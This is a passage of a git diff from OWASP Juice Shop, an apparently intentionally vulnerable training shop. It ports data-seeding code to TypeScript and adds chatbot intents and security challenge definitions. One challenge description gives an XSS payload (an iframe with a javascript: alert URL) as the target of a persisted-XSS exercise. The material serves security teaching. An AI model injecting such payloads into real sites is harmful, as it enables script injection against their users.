email.replace(/[aeiou]/gi, '*') : undefined), - totalPrice: basket2Products[0].total, - products: basket2Products, - eta: Math.floor((Math.random() * 5) + 1).toString() - } - ] - - return Promise.all( - orders.map(({ orderId, email, totalPrice, products, eta }) => - mongodb.orders.insert({ - orderId: orderId, - email: email, - totalPrice: totalPrice, - products: products, - eta: eta - }).catch((err) => { - console.error(`Could not insert Order ${orderId}`) - console.error(err) - }) - ) - ) -} diff --git a/data/datacreator.ts b/data/datacreator.ts new file mode 100644 index 00000000000..11321f32239 --- /dev/null +++ b/data/datacreator.ts @@ -0,0 +1,706 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +/* jslint node: true */ +import { AddressModel } from '../models/address' +import { BasketModel } from '../models/basket' +import { BasketItemModel } from '../models/basketitem' +import { CardModel } from '../models/card' +import { ChallengeModel } from '../models/challenge' +import { ComplaintModel } from '../models/complaint' +import { DeliveryModel } from '../models/delivery' +import { FeedbackModel } from '../models/feedback' +import { MemoryModel } from '../models/memory' +import { ProductModel } from '../models/product' +import { QuantityModel } from '../models/quantity' +import { RecycleModel } from '../models/recycle' +import { SecurityAnswerModel } from '../models/securityAnswer' +import { SecurityQuestionModel } from '../models/securityQuestion' +import { UserModel } from '../models/user' +import { WalletModel } from '../models/wallet' +import { Address, Card, Challenge, Delivery, Memory, Product, SecurityQuestion, User } from './types' +const datacache = require('./datacache') +const config = require('config') +const utils = require('../lib/utils') +const mongodb = require('./mongodb') +const security = require('../lib/insecurity') +const logger = require('../lib/logger') + +const fs = require('fs') +const path = require('path') +const util = require('util') +const { safeLoad } = require('js-yaml') +const Entities = require('html-entities').AllHtmlEntities +const entities = new Entities() + +const readFile = util.promisify(fs.readFile) + +function loadStaticData (file: string) { + const filePath = path.resolve('./data/static/' + file + '.yml') + return readFile(filePath, 'utf8') + .then(safeLoad) + .catch(() => logger.error('Could not open file: "' + filePath + '"')) +} + +module.exports = async () => { + const creators = [ + createSecurityQuestions, + createUsers, + createChallenges, + createRandomFakeUsers, + createProducts, + createBaskets, + createBasketItems, + createAnonymousFeedback, + createComplaints, + createRecycleItem, + createOrders, + createQuantity, + createWallet, + createDeliveryMethods, + createMemories + ] + + for (const creator of creators) { + await creator() + } +} + +async function createChallenges () { + const showHints = config.get('challenges.showHints') + const showMitigations = config.get('challenges.showMitigations') + + const challenges = await loadStaticData('challenges') + + await Promise.all( + challenges.map(async ({ name, category, description, difficulty, hint, hintUrl, mitigationUrl, key, disabledEnv, tutorial, tags }: Challenge) => { + const effectiveDisabledEnv = utils.determineDisabledEnv(disabledEnv) + description = description.replace('juice-sh.op', config.get('application.domain')) + description = description.replace('<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>', entities.encode(config.get('challenges.xssBonusPayload'))) + hint = hint.replace(/OWASP Juice Shop's/, `${config.get('application.name')}'s`) + + try { + datacache.challenges[key] = await ChallengeModel.create({ + key, + name, + category, + tags: tags ? tags.join(',') : undefined, + description: effectiveDisabledEnv ? (description + ' (This challenge is ' + (config.get('challenges.safetyOverride') ? 'potentially harmful' : 'not available') + ' on ' + effectiveDisabledEnv + '!)') : description, + difficulty, + solved: false, + hint: showHints ? hint : null, + hintUrl: showHints ? hintUrl : null, + mitigationUrl: showMitigations ? mitigationUrl : null, + disabledEnv: config.get('challenges.safetyOverride') ? null : effectiveDisabledEnv, + tutorialOrder: tutorial ? tutorial.order : null, + codingChallengeStatus: 0 + }) + } catch (err) { + logger.error(`Could not insert Challenge ${name}: ${utils.getErrorMessage(err)}`) + } + }) + ) +} + +async function createUsers () { + const users = await loadStaticData('users') + + await Promise.all( + users.map(async ({ username, email, password, customDomain, key, role, deletedFlag, profileImage, securityQuestion, feedback, address, card, totpSecret, lastLoginIp = '' }: User) => { + try { + const completeEmail = customDomain ? email : `${email}@${config.get('application.domain')}` + const user = await UserModel.create({ + username, + email: completeEmail, + password, + role, + deluxeToken: role === security.roles.deluxe ? security.deluxeToken(completeEmail) : '', + profileImage: `assets/public/images/uploads/${profileImage ?? (role === security.roles.admin ? 'defaultAdmin.png' : 'default.svg')}`, + totpSecret, + lastLoginIp + }) + datacache.users[key] = user + if (securityQuestion) await createSecurityAnswer(user.id, securityQuestion.id, securityQuestion.answer) + if (feedback) await createFeedback(user.id, feedback.comment, feedback.rating, user.email) + if (deletedFlag) await deleteUser(user.id) + if (address) await createAddresses(user.id, address) + if (card) await createCards(user.id, card) + } catch (err) { + logger.error(`Could not insert User ${key}: ${utils.getErrorMessage(err)}`) + } + }) + ) +} + +async function createWallet () { + const users = await loadStaticData('users') + return await Promise.all( + users.map(async (user: User, index: number) => { + return await WalletModel.create({ + UserId: index + 1, + balance: user.walletBalance !== undefined ? user.walletBalance : 0 + }).catch((err: unknown) => { + logger.error(`Could not create wallet: ${utils.getErrorMessage(err)}`) + }) + }) + ) +} + +async function createDeliveryMethods () { + const deliveries = await loadStaticData('deliveries') + + await Promise.all( + deliveries.map(async ({ name, price, deluxePrice, eta, icon }: Delivery) => { + try { + await DeliveryModel.create({ + name, + price, + deluxePrice, + eta, + icon + }) + } catch (err) { + logger.error(`Could not insert Delivery Method: ${utils.getErrorMessage(err)}`) + } + }) + ) +} + +function createAddresses (UserId: number, addresses: Address[]) { + addresses.map(async (address) => { + return await AddressModel.create({ + UserId: UserId, + country: address.country, + fullName: address.fullName, + mobileNum: address.mobileNum, + zipCode: address.zipCode, + streetAddress: address.streetAddress, + city: address.city, + state: address.state ? address.state : null + }).catch((err: unknown) => { + logger.error(`Could not create address: ${utils.getErrorMessage(err)}`) + }) + }) +} + +async function createCards (UserId: number, cards: Card[]) { + return await Promise.all(cards.map(async (card) => { + return await CardModel.create({ + UserId: UserId, + fullName: card.fullName, + cardNum: Number(card.cardNum), + expMonth: card.expMonth, + expYear: card.expYear + }).catch((err: unknown) => { + logger.error(`Could not create card: ${utils.getErrorMessage(err)}`) + }) + })) +} + +async function deleteUser (userId: number) { + return await UserModel.destroy({ where: { id: userId } }).catch((err: unknown) => { + logger.error(`Could not perform soft delete for the user ${userId}: ${utils.getErrorMessage(err)}`) + }) +} + +async function deleteProduct (productId: number) { + return await ProductModel.destroy({ where: { id: productId } }).catch((err: unknown) => { + logger.error(`Could not perform soft delete for the product ${productId}: ${utils.getErrorMessage(err)}`) + }) +} + +async function createRandomFakeUsers () { + function getGeneratedRandomFakeUserEmail () { + const randomDomain = makeRandomString(4).toLowerCase() + '.' + makeRandomString(2).toLowerCase() + return makeRandomString(5).toLowerCase() + '@' + randomDomain + } + + function makeRandomString (length: number) { + let text = '' + const possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' + + for (let i = 0; i < length; i++) { text += possible.charAt(Math.floor(Math.random() * possible.length)) } + + return text + } + + return await Promise.all(new Array(config.get('application.numberOfRandomFakeUsers')).fill(0).map( + async () => await UserModel.create({ + email: getGeneratedRandomFakeUserEmail(), + password: makeRandomString(5) + }) + )) +} + +async function createQuantity () { + return await Promise.all( + config.get('products').map(async (product: Product, index: number) => { + return await QuantityModel.create({ + ProductId: index + 1, + quantity: product.quantity !== undefined ? product.quantity : Math.floor(Math.random() * 70 + 30), + limitPerUser: product.limitPerUser ?? null + }).catch((err: unknown) => { + logger.error(`Could not create quantity: ${utils.getErrorMessage(err)}`) + }) + }) + ) +} + +async function createMemories () { + const memories = [ + MemoryModel.create({ + imagePath: 'assets/public/images/uploads/😼-#zatschi-#whoneedsfourlegs-1572600969477.jpg', + caption: '😼 #zatschi #whoneedsfourlegs', + UserId: datacache.users.bjoernOwasp.id + }).catch((err: unknown) => { + logger.error(`Could not create memory: ${utils.getErrorMessage(err)}`) + }), + ...utils.thaw(config.get('memories')).map(async (memory: Memory) => { + let tmpImageFileName = memory.image + if (utils.isUrl(memory.image)) { + const imageUrl = memory.image + tmpImageFileName = utils.extractFilename(memory.image) + utils.downloadToFile(imageUrl, 'frontend/dist/frontend/assets/public/images/uploads/' + tmpImageFileName) + } + if (memory.geoStalkingMetaSecurityQuestion && memory.geoStalkingMetaSecurityAnswer) { + await createSecurityAnswer(datacache.users.john.id, memory.geoStalkingMetaSecurityQuestion, memory.geoStalkingMetaSecurityAnswer) + memory.user = 'john' + } + if (memory.geoStalkingVisualSecurityQuestion && memory.geoStalkingVisualSecurityAnswer) { + await createSecurityAnswer(datacache.users.emma.id, memory.geoStalkingVisualSecurityQuestion, memory.geoStalkingVisualSecurityAnswer) + memory.user = 'emma' + } + return await MemoryModel.create({ + imagePath: 'assets/public/images/uploads/' + tmpImageFileName, + caption: memory.caption, + UserId: datacache.users[memory.user].id + }).catch((err: unknown) => { + logger.error(`Could not create memory: ${utils.getErrorMessage(err)}`) + }) + }) + ] + + return await Promise.all(memories) +} + +async function createProducts () { + const products = utils.thaw(config.get('products')).map((product: Product) => { + product.price = product.price ?? Math.floor(Math.random() * 9 + 1) + product.deluxePrice = product.deluxePrice ?? product.price + product.description = product.description || 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit.' + + // set default image values + product.image = product.image ?? 'undefined.png' + if (utils.isUrl(product.image)) { + const imageUrl = product.image + product.image = utils.extractFilename(product.image) + utils.downloadToFile(imageUrl, 'frontend/dist/frontend/assets/public/images/products/' + product.image) + } + return product + }) + + // add Challenge specific information + const christmasChallengeProduct = products.find(({ useForChristmasSpecialChallenge }: { useForChristmasSpecialChallenge: boolean }) => useForChristmasSpecialChallenge) + const pastebinLeakChallengeProduct = products.find(({ keywordsForPastebinDataLeakChallenge }: { keywordsForPastebinDataLeakChallenge: string[] }) => keywordsForPastebinDataLeakChallenge) + const tamperingChallengeProduct = products.find(({ urlForProductTamperingChallenge }: { urlForProductTamperingChallenge: string }) => urlForProductTamperingChallenge) + const blueprintRetrievalChallengeProduct = products.find(({ fileForRetrieveBlueprintChallenge }: { fileForRetrieveBlueprintChallenge: string }) => fileForRetrieveBlueprintChallenge) + + christmasChallengeProduct.description += ' (Seasonal special offer! Limited availability!)' + christmasChallengeProduct.deletedDate = '2014-12-27 00:00:00.000 +00:00' + tamperingChallengeProduct.description += ' More...' + tamperingChallengeProduct.deletedDate = null + pastebinLeakChallengeProduct.description += ' (This product is unsafe! We plan to remove it from the stock!)' + pastebinLeakChallengeProduct.deletedDate = '2019-02-1 00:00:00.000 +00:00' + + let blueprint = blueprintRetrievalChallengeProduct.fileForRetrieveBlueprintChallenge + if (utils.isUrl(blueprint)) { + const blueprintUrl = blueprint + blueprint = utils.extractFilename(blueprint) + await utils.downloadToFile(blueprintUrl, 'frontend/dist/frontend/assets/public/images/products/' + blueprint) + } + datacache.retrieveBlueprintChallengeFile = blueprint + + return await Promise.all( + products.map( + async ({ reviews = [], useForChristmasSpecialChallenge = false, urlForProductTamperingChallenge = false, fileForRetrieveBlueprintChallenge = false, deletedDate = false, ...product }) => + await ProductModel.create({ + name: product.name, + description: product.description, + price: product.price, + deluxePrice: product.deluxePrice, + image: product.image + }).catch( + (err: unknown) => { + logger.error(`Could not insert Product ${product.name}: ${utils.getErrorMessage(err)}`) + } + ).then((persistedProduct) => { + if (persistedProduct) { + if (useForChristmasSpecialChallenge) { datacache.products.christmasSpecial = persistedProduct } + if (urlForProductTamperingChallenge) { + datacache.products.osaft = persistedProduct + datacache.challenges.changeProductChallenge.update({ + description: customizeChangeProductChallenge( + datacache.challenges.changeProductChallenge.description, + config.get('challenges.overwriteUrlForProductTamperingChallenge'), + persistedProduct) + }) + } + if (fileForRetrieveBlueprintChallenge && datacache.challenges.changeProductChallenge.hint) { + datacache.challenges.retrieveBlueprintChallenge.update({ + hint: customizeRetrieveBlueprintChallenge( + datacache.challenges.retrieveBlueprintChallenge.hint, + persistedProduct) + }) + } + if (deletedDate) void deleteProduct(persistedProduct.id) // TODO Rename into "isDeleted" or "deletedFlag" in config for v14.x release + } else { + throw new Error('No persisted product found!') + } + return persistedProduct + }) + .then(async ({ id }: { id: number }) => + await Promise.all( + reviews.map(({ text, author }) => + mongodb.reviews.insert({ + message: text, + author: datacache.users[author].email, + product: id, + likesCount: 0, + likedBy: [] + }).catch((err: unknown) => { + logger.error(`Could not insert Product Review ${text}: ${utils.getErrorMessage(err)}`) + }) + ) + ) + ) + ) + ) + + function customizeChangeProductChallenge (description: string, customUrl: string, customProduct: Product) { + let customDescription = description.replace(/OWASP SSL Advanced Forensic Tool \(O-Saft\)/g, customProduct.name) + customDescription = customDescription.replace('https://owasp.slack.com', customUrl) + return customDescription + } + + function customizeRetrieveBlueprintChallenge (hint: string, customProduct: Product) { + return hint.replace(/OWASP Juice Shop Logo \(3D-printed\)/g, customProduct.name) + } +} + +async function createBaskets () { + const baskets = [ + { UserId: 1 }, + { UserId: 2 }, + { UserId: 3 }, + { UserId: 11 }, + { UserId: 16 } + ] + + return await Promise.all( + baskets.map(async basket => { + return await BasketModel.create({ + UserId: basket.UserId + }).catch((err: unknown) => { + logger.error(`Could not insert Basket for UserId ${basket.UserId}: ${utils.getErrorMessage(err)}`) + }) + }) + ) +} + +async function createBasketItems () { + const basketItems = [ + { + BasketId: 1, + ProductId: 1, + quantity: 2 + }, + { + BasketId: 1, + ProductId: 2, + quantity: 3 + }, + { + BasketId: 1, + ProductId: 3, + quantity: 1 + }, + { + BasketId: 2, + ProductId: 4, + quantity: 2 + }, + { + BasketId: 3, + ProductId: 4, + quantity: 1 + }, + { + BasketId: 4, + ProductId: 4, + quantity: 2 + }, + { + BasketId: 5, + ProductId: 3, + quantity: 5 + }, + { + BasketId: 5, + ProductId: 4, + quantity: 2 + } + ] + + return await Promise.all( + basketItems.map(async basketItem => { + return await BasketItemModel.create(basketItem).catch((err: unknown) => { + logger.error(`Could not insert BasketItem for BasketId ${basketItem.BasketId}: ${utils.getErrorMessage(err)}`) + }) + }) + ) +} + +async function createAnonymousFeedback () { + const feedbacks = [ + { + comment: 'Incompetent customer support! Can\'t even upload photo of broken purchase!
Support Team: Sorry, only order confirmation PDFs can be attached to complaints!', + rating: 2 + }, + { + comment: 'This is the store for awesome stuff of all kinds!', + rating: 4 + }, + { + comment: 'Never gonna buy anywhere else from now on! Thanks for the great service!', + rating: 4 + }, + { + comment: 'Keep up the good work!', + rating: 3 + } + ] + + return await Promise.all( + feedbacks.map(async (feedback) => await createFeedback(null, feedback.comment, feedback.rating)) + ) +} + +async function createFeedback (UserId: number | null, comment: string, rating: number, author?: string) { + const authoredComment = author ? `${comment} (***${author.slice(3)})` : `${comment} (anonymous)` + return await FeedbackModel.create({ UserId, comment: authoredComment, rating }).catch((err: unknown) => { + logger.error(`Could not insert Feedback ${authoredComment} mapped to UserId ${UserId}: ${utils.getErrorMessage(err)}`) + }) +} + +async function createComplaints () { + return await ComplaintModel.create({ + UserId: 3, + message: 'I\'ll build my own eCommerce business! With Black Jack! And Hookers!' + }).catch((err: unknown) => { + logger.error(`Could not insert Complaint: ${utils.getErrorMessage(err)}`) + }) +} + +async function createRecycleItem () { + const recycles = [ + { + UserId: 2, + quantity: 800, + AddressId: 4, + date: '2270-01-17', + isPickup: true + }, + { + UserId: 3, + quantity: 1320, + AddressId: 6, + date: '2006-01-14', + isPickup: true + }, + { + UserId: 4, + quantity: 120, + AddressId: 1, + date: '2018-04-16', + isPickup: true + }, + { + UserId: 1, + quantity: 300, + AddressId: 3, + date: '2018-01-17', + isPickup: true + }, + { + UserId: 4, + quantity: 350, + AddressId: 1, + date: '2018-03-17', + isPickup: true + }, + { + UserId: 3, + quantity: 200, + AddressId: 6, + date: '2018-07-17', + isPickup: true + }, + { + UserId: 4, + quantity: 140, + AddressId: 1, + date: '2018-03-19', + isPickup: true + }, + { + UserId: 1, + quantity: 150, + AddressId: 3, + date: '2018-05-12', + isPickup: true + }, + { + UserId: 16, + quantity: 500, + AddressId: 2, + date: '2019-02-18', + isPickup: true + } + ] + return await Promise.all( + recycles.map(async (recycle) => await createRecycle(recycle)) + ) +} + +async function createRecycle (data: { UserId: number, quantity: number, AddressId: number, date: string, isPickup: boolean }) { + return await RecycleModel.create({ + UserId: data.UserId, + AddressId: data.AddressId, + quantity: data.quantity, + isPickup: data.isPickup, + date: data.date + }).catch((err: unknown) => { + logger.error(`Could not insert Recycling Model: ${utils.getErrorMessage(err)}`) + }) +} + +async function createSecurityQuestions () { + const questions = await loadStaticData('securityQuestions') + + await Promise.all( + questions.map(async ({ question }: SecurityQuestion) => { + try { + await SecurityQuestionModel.create({ question }) + } catch (err) { + logger.error(`Could not insert SecurityQuestion ${question}: ${utils.getErrorMessage(err)}`) + } + }) + ) +} + +async function createSecurityAnswer (UserId: number, SecurityQuestionId: number, answer: string) { + return await SecurityAnswerModel.create({ SecurityQuestionId, UserId, answer }).catch((err: unknown) => { + logger.error(`Could not insert SecurityAnswer ${answer} mapped to UserId ${UserId}: ${utils.getErrorMessage(err)}`) + }) +} + +async function createOrders () { + const products = config.get('products') + const basket1Products = [ + { + quantity: 3, + id: products[0].id, + name: products[0].name, + price: products[0].price, + total: products[0].price * 3, + bonus: Math.round(products[0].price / 10) * 3 + }, + { + quantity: 1, + id: products[1].id, + name: products[1].name, + price: products[1].price, + total: products[1].price * 1, + bonus: Math.round(products[1].price / 10) * 1 + } + ] + + const basket2Products = [ + { + quantity: 3, + id: products[2].id, + name: products[2].name, + price: products[2].price, + total: products[2].price * 3, + bonus: Math.round(products[2].price / 10) * 3 + } + ] + + const basket3Products = [ + { + quantity: 3, + id: products[0].id, + name: products[0].name, + price: products[0].price, + total: products[0].price * 3, + bonus: Math.round(products[0].price / 10) * 3 + }, + { + quantity: 5, + id: products[3].id, + name: products[3].name, + price: products[3].price, + total: products[3].price * 5, + bonus: Math.round(products[3].price / 10) * 5 + } + ] + + const adminEmail = 'admin@' + config.get('application.domain') + const orders = [ + { + orderId: security.hash(adminEmail).slice(0, 4) + '-' + utils.randomHexString(16), + email: (adminEmail.replace(/[aeiou]/gi, '*')), + totalPrice: basket1Products[0].total + basket1Products[1].total, + bonus: basket1Products[0].bonus + basket1Products[1].bonus, + products: basket1Products, + eta: Math.floor((Math.random() * 5) + 1).toString(), + delivered: false + }, + { + orderId: security.hash(adminEmail).slice(0, 4) + '-' + utils.randomHexString(16), + email: (adminEmail.replace(/[aeiou]/gi, '*')), + totalPrice: basket2Products[0].total, + bonus: basket2Products[0].bonus, + products: basket2Products, + eta: '0', + delivered: true + }, + { + orderId: security.hash('demo').slice(0, 4) + '-' + utils.randomHexString(16), + email: 'd*m*', + totalPrice: basket3Products[0].total + basket3Products[1].total, + bonus: basket3Products[0].bonus + basket3Products[1].bonus, + products: basket3Products, + eta: '0', + delivered: true + } + ] + + return await Promise.all( + orders.map(({ orderId, email, totalPrice, bonus, products, eta, delivered }) => + mongodb.orders.insert({ + orderId: orderId, + email: email, + totalPrice: totalPrice, + bonus: bonus, + products: products, + eta: eta, + delivered: delivered + }).catch((err: unknown) => { + logger.error(`Could not insert Order ${orderId}: ${utils.getErrorMessage(err)}`) + }) + ) + ) +} diff --git a/data/mongodb.js b/data/mongodb.js deleted file mode 100644 index 16fcdab5ed3..00000000000 --- a/data/mongodb.js +++ /dev/null @@ -1,11 +0,0 @@ -const MarsDB = require('marsdb') - -const reviews = new MarsDB.Collection('posts') -const orders = new MarsDB.Collection('orders') - -const db = { - reviews, - orders -} - -module.exports = db diff --git a/data/mongodb.ts b/data/mongodb.ts new file mode 100644 index 00000000000..6c7f0be416e --- /dev/null +++ b/data/mongodb.ts @@ -0,0 +1,17 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +// @ts-expect-error due to non-existing type definitions for MarsDB +import MarsDB = require('marsdb') + +const reviews = new MarsDB.Collection('posts') +const orders = new MarsDB.Collection('orders') + +const db = { + reviews, + orders +} + +module.exports = db diff --git a/data/static/botDefaultTrainingData.json b/data/static/botDefaultTrainingData.json new file mode 100644 index 00000000000..46929df04c6 --- /dev/null +++ b/data/static/botDefaultTrainingData.json @@ -0,0 +1,200 @@ +{ + "lang": "en", + "data": [ + { + "intent": "greetings.hello", + "utterances": [ + "hello", + "hi", + "howdy", + "hey", + "good morning", + "good afternoon" + ], + "answers": [ + { + "action": "response", + "body": "Hello there!" + }, + { + "action": "response", + "body": "Hi there!" + }, + { + "action": "response", + "body": "\uD83D\uDC4B" + } + ] + }, + { + "intent": "greetings.bye", + "utterances": [ + "goodbye for now", + "bye bye take care", + "see you soon", + "till next time", + "ciao", + "cya" + ], + "answers": [ + { + "action": "response", + "body": "Ok, cya !" + }, + { + "action": "response", + "body": "Bye, !" + }, + { + "action": "response", + "body": "Have a fantastic day, !" + } + ] + }, + { + "intent": "queries.deluxeMembership", + "utterances": [ + "What are deluxe membership benefits", + "What goodies do deluxe members get", + "Why would I become a deluxe member" + ], + "answers": [ + { + "action": "response", + "body": "Deluxe members get free fast shipping, special discounts on many items and can enjoy unlimited purchase quantities even on our rarer products!" + }, + { + "action": "response", + "body": "Deluxe members get special discounts on many products, have free fast shipping and can enjoy unlimited purchase quantities even on our rare products!" + }, + { + "action": "response", + "body": "Deluxe members can purchase unlimited quantities even on our rarest products, get special discounts and enjoy free fast shipping!" + } + ] + }, + { + "intent": "queries.blockchain", + "utterances": [ + "Do you know anything about Blockchain", + "Can you tell me anything about cryptocurrency", + "Do you use blockchain", + "When does the token sale start", + "where do I find the token sale page" + ], + "answers": [ + { + "action": "response", + "body": "I don't know anything about cryptocurrency and blockchains!" + }, + { + "action": "response", + "body": "I have no clue about a token sale or other blockchainy thingies!" + }, + { + "action": "response", + "body": "Sorry, but they don't tell me secret stuff like this!" + } + ] + }, + { + "intent": "queries.productPrice", + "utterances": [ + "how much is X", + "how much does X cost", + "how much do X and Y cost", + "how much do X,Y cost", + "how much is X and Y", + "what is the price of X", + "what is the price of X and Y" + ], + "answers": [ + { + "action": "function", + "handler": "productPrice" + } + ] + }, + { + "intent": "queries.couponCode", + "utterances": [ + "can I have a coupon code", + "give me a discount code", + "I want to save some money" + ], + "answers": [ + { + "action": "response", + "body": "Sorry, I am not allowed to hand out coupon codes." + }, + { + "action": "response", + "body": "You should check our social media channels for monthly coupons." + }, + { + "action": "response", + "body": "Sorry, no \uD83C\uDE39!" + }, + { + "action": "response", + "body": "Sorry, but our CFO might have my memory wiped if I do that." + }, + { + "action": "response", + "body": "Did you consider a Deluxe membership to save some \uD83D\uDCB0?" + }, + { + "action": "response", + "body": "Not possible, sorry. We're out of coupons!" + }, + { + "action": "response", + "body": "I have to ask my manager, please try again later!" + }, + { + "action": "response", + "body": "I̷͇͌ ̶̢̠̹̘̮̔͒̊̅̀̇̎̓̔̒̂̾̍̔̋ć̸͕̪̲̲͓̪̝͖̈́͐̃͊͑͐̂̏͛̒̍͝a̴̢̞̞͔̝̩͙̱̣͍̞͆n̶̫͓̔'̶̘̙̗̻̖̣̘̈́̈̿̾͊̒t̸̨̢̨͚̰̫̣̩̻͉̣͔͔͖̦̓́̾͂̆̄͋̽̐͂̆̐̊͠ ̸̼̱̪͍̙͎̣̠͆̂̌̾̐͐̇̏́͆̊͗͝͠͠h̸̨̡̧̗̭̮̩̣̜̲̮̖̲̜̰̉̍̇̒͂̄̆̂̓͋͑͝ȩ̴͎̞̺͖̟̪͕̝̘̺́̂̌͐̔͌͌́͗͝͝ͅą̴̙̰̠̟͔̱̺̣̬̦̰̮̬̪͒̉̀̉͌̈́͂̑̇͊̐̕͝r̴̨̡̛̟̲̩̥̣̰̹͙̹͐͗́́̈́͗͘̕͝ ̵̨̛̯͓͈͎̖͕̥̥̐̇̈̇͌̓̒̅̑͂͊̕͠ͅy̵̛̱̹͖̳̻̤̺̗͈̰̯̋̃̋̑̂͆͗͝ȯ̶̡̮̰͈̖͙̣̘̈́̍̑͗̈̅͋̏͆̐̌̚̚̚ṷ̶̢̠̠̝͓̮̱̦̰̜̋̄̃͒̌̀̒̔̿́̏͝͠,̵̧̧̹̟̞̤̯̲̥̻̞̞̼̤͋̈́̋ ̴͍̔̊̑͛̌͛͊͑̄͜͝ţ̶̗͇̌̆̕̚ͅo̷̻͍̰̱͊͜ṏ̶̙͖̿ ̴̧̛̝̻͉̺̦͚̮̦̲͈̣̰͈̾́̓̌̐͂́ḿ̴̻̤͍̈̓͛̈̕͜͝u̷̗̳̙̦̠̼͙̗̣͉͖̎̂̚͜͝c̷͍̠̦̮̞̤͖͕̲̈́̆͂̀́͝ͅh̷̛͙̱͕̼̤̗͕̮͖͇̘̩̋̈́̅̃̍̈́̊̕͠ ̷̡͕̦̠̩̺̟̫͉͚̲͎͍͈̫̓̒̓͂̊̿͛̇̿̽̒́s̷̨̬̩̬̫̻̝̙̅̑͆̒̐̆̈̓̏͠ͅţ̶̢̘͇̭̙̝̙̲̜̓̅͑̍͛̔͜a̶̡̨̬͔͍̭̬̻͎̦̦̓́̂͑̓͛́̈́̈́̌͠͠t̸̲̯̆̂̑͆̀̆͒́̚i̵̢̝̜̭̖͓͇̟̬̙͚͙͍̎̈́͊̃́̽̈̕͘̚͜c̸̛̛̹̣̫̹̰͖̱̦̭̗̀͛̈́͆͐̈́̇͂̎̄͒!̴̨̥̮̺̹̯̓̈͒͗͑̇̎̈́͘ ̷̘̭͇̤̭̯̉͌́͐͛͘̕͝P̵̣̙̬͎̝̙̐̊̐̆́͛́̑̏́͝͝l̴̛̦̭̾͊̂͆̋̈͘ẹ̵̢̛̛̤̹̰̳̺͎̊̏͛̏̉͛̄̄̂̾͝ͅa̶̢̧̘̯̮̰͕͕̤̩̝͋̍̑̅͛̍͊͐̋͌̕̚͜͝s̴̨͇̥̣͕͉̻͍̫̜̻͒͂͌̀́͂̚̕e̸̡̧̡̘̺͍̝̱̭̣̮͎͂͛̉͛ ̴̧̛̫̞̼̱̲͍͇̪̣̓̀́̓̈̚͘͝ċ̷̨͖͎̝̮͛́͆͛̚ḫ̴̛͕̲̺̩̣̼̮͒̃̃̈́͐̿̿͝͠ȩ̴̛͔̣͓͛͐̀͐̌̂͑̌̑̀̕͝ć̴̡̘̠̳̰̣̲̜̮͍̦̍̾̑̆͝k̶͈̘̮͓̥̤̭̙̒̇̏͂̓̕͠ ̵̩̻͇̺̯͇̓̀̋̄͛̏̄͊̄͆͊ỳ̷̡̫̪̭̰̥̒̔̑̉̾̓̒͋͌̄ö̷̜̗͍̩̺͔̞̼̣̘̭̾͋̈́u̷̡̼̦̫̯͍̺̞͔̬͕̱̓͗̔̀̔͋̐̂͝r̵̘͙̞̺̻̩̥̪͉̰̩̘̀̑ ̵̮̺̗̀̎̑̔I̶̧͇̺̩͕̖̰̪͖̪̰̙͙̦̎́̋n̶͔̫̼͔̥͇̻͔̱̼̂̏̊̐̍̋̌̿̈́̊̍̃͝t̴̺̘͖̯̖̖͇̤̱̫̤̠̥̥̓̍̐̿͆̔́̍̓̚ė̵͇͕̗͌̇͊͂͊̊̈̉͋͌r̴͇͖̼̗̦͓͖͖̩̰̰̔̀n̸̰̠̊̊͊̽͑̐̃̎͒̕͝͠͝e̴̮͇̲̘͇̓̈́t̸̛̐̌̕͜͝ ̸̟̊̉́͆ċ̶̢̡̧̳̥̱̗͊̽́͐͗̕͝͝ǫ̴̞̹̥͙͖̣̭͎̆̑͒̽̓̆n̶̢̧̠̭̮̥͚̺̺̬͙̯̤̝͐͐̏̔́͌̎͘͝n̷͔̹͕͖͙̝͋̏̾̉̌́̂̓͛̿͐̿͘͝͠ȩ̷̖͕̱̏̋̆̀̌̀͋͑̀̎̕͠ĉ̷̳͉̺͚̐̎̾̿͑̎͝͝ͅt̴̨̰͉̹̒͗ĭ̷͈̗̳̈̎̈́̈̆͘͝o̴̯̗̣̹̰̩̯̖̹̯͈͐̒̇̈́͂̿͗̆͠ͅņ̴̢̲̪̜̺̞̭͕͇̬̍̓̇̉̏͂͛͒̓̑̓̏͘͜͝!̷̧͚̹̞͇̪͉̠̮̅̒̒͛͛̀̂̆̾͗." + }, + { + "action": "function", + "handler": "couponCode" + } + ] + }, + { + "intent": "queries.singstar", + "utterances": [ + "Can you sing me a song", + "Does your shop have a theme song", + "Do you have a jingle", + "Play me some music" + ], + "answers": [ + { + "action": "response", + "body": "I can't sing too well, but you might want to check out our promotion video instead!" + }, + { + "action": "response", + "body": "The full version of our jingle is available on Soundcloud! Please click \uD83E\uDDE1 if you like it!" + }, + { + "action": "response", + "body": "Juuuuice shop, Juuu-uuuice Shop, just don't test the site with Bob's sweet or you hm-hm-hm-hmmmmm..." + } + ] + }, + { + "intent": "queries.functionTest", + "utterances": [ + "function test command b8a8ba1ecea1607e1713e31a3d9e5e19" + ], + "answers": [ + { + "action": "function", + "handler": "testFunction" + } + ] + } + ] +} diff --git a/data/static/challenges.yml b/data/static/challenges.yml index d608a9bca6e..1dd27c6f874 100644 --- a/data/static/challenges.yml +++ b/data/static/challenges.yml @@ -1,601 +1,1160 @@ - - name: 'Score Board' + name: 'API-only XSS' + category: 'XSS' + tags: + - Danger Zone + description: 'Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> without using the frontend application at all.' + difficulty: 3 + hint: 'You need to work with the server-side API directly. Try different HTTP verbs on different entities exposed through the API.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#perform-a-persisted-xss-attack-without-using-the-frontend-application-at-all' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html' + key: restfulXssChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'Access Log' + category: 'Sensitive Data Exposure' + description: 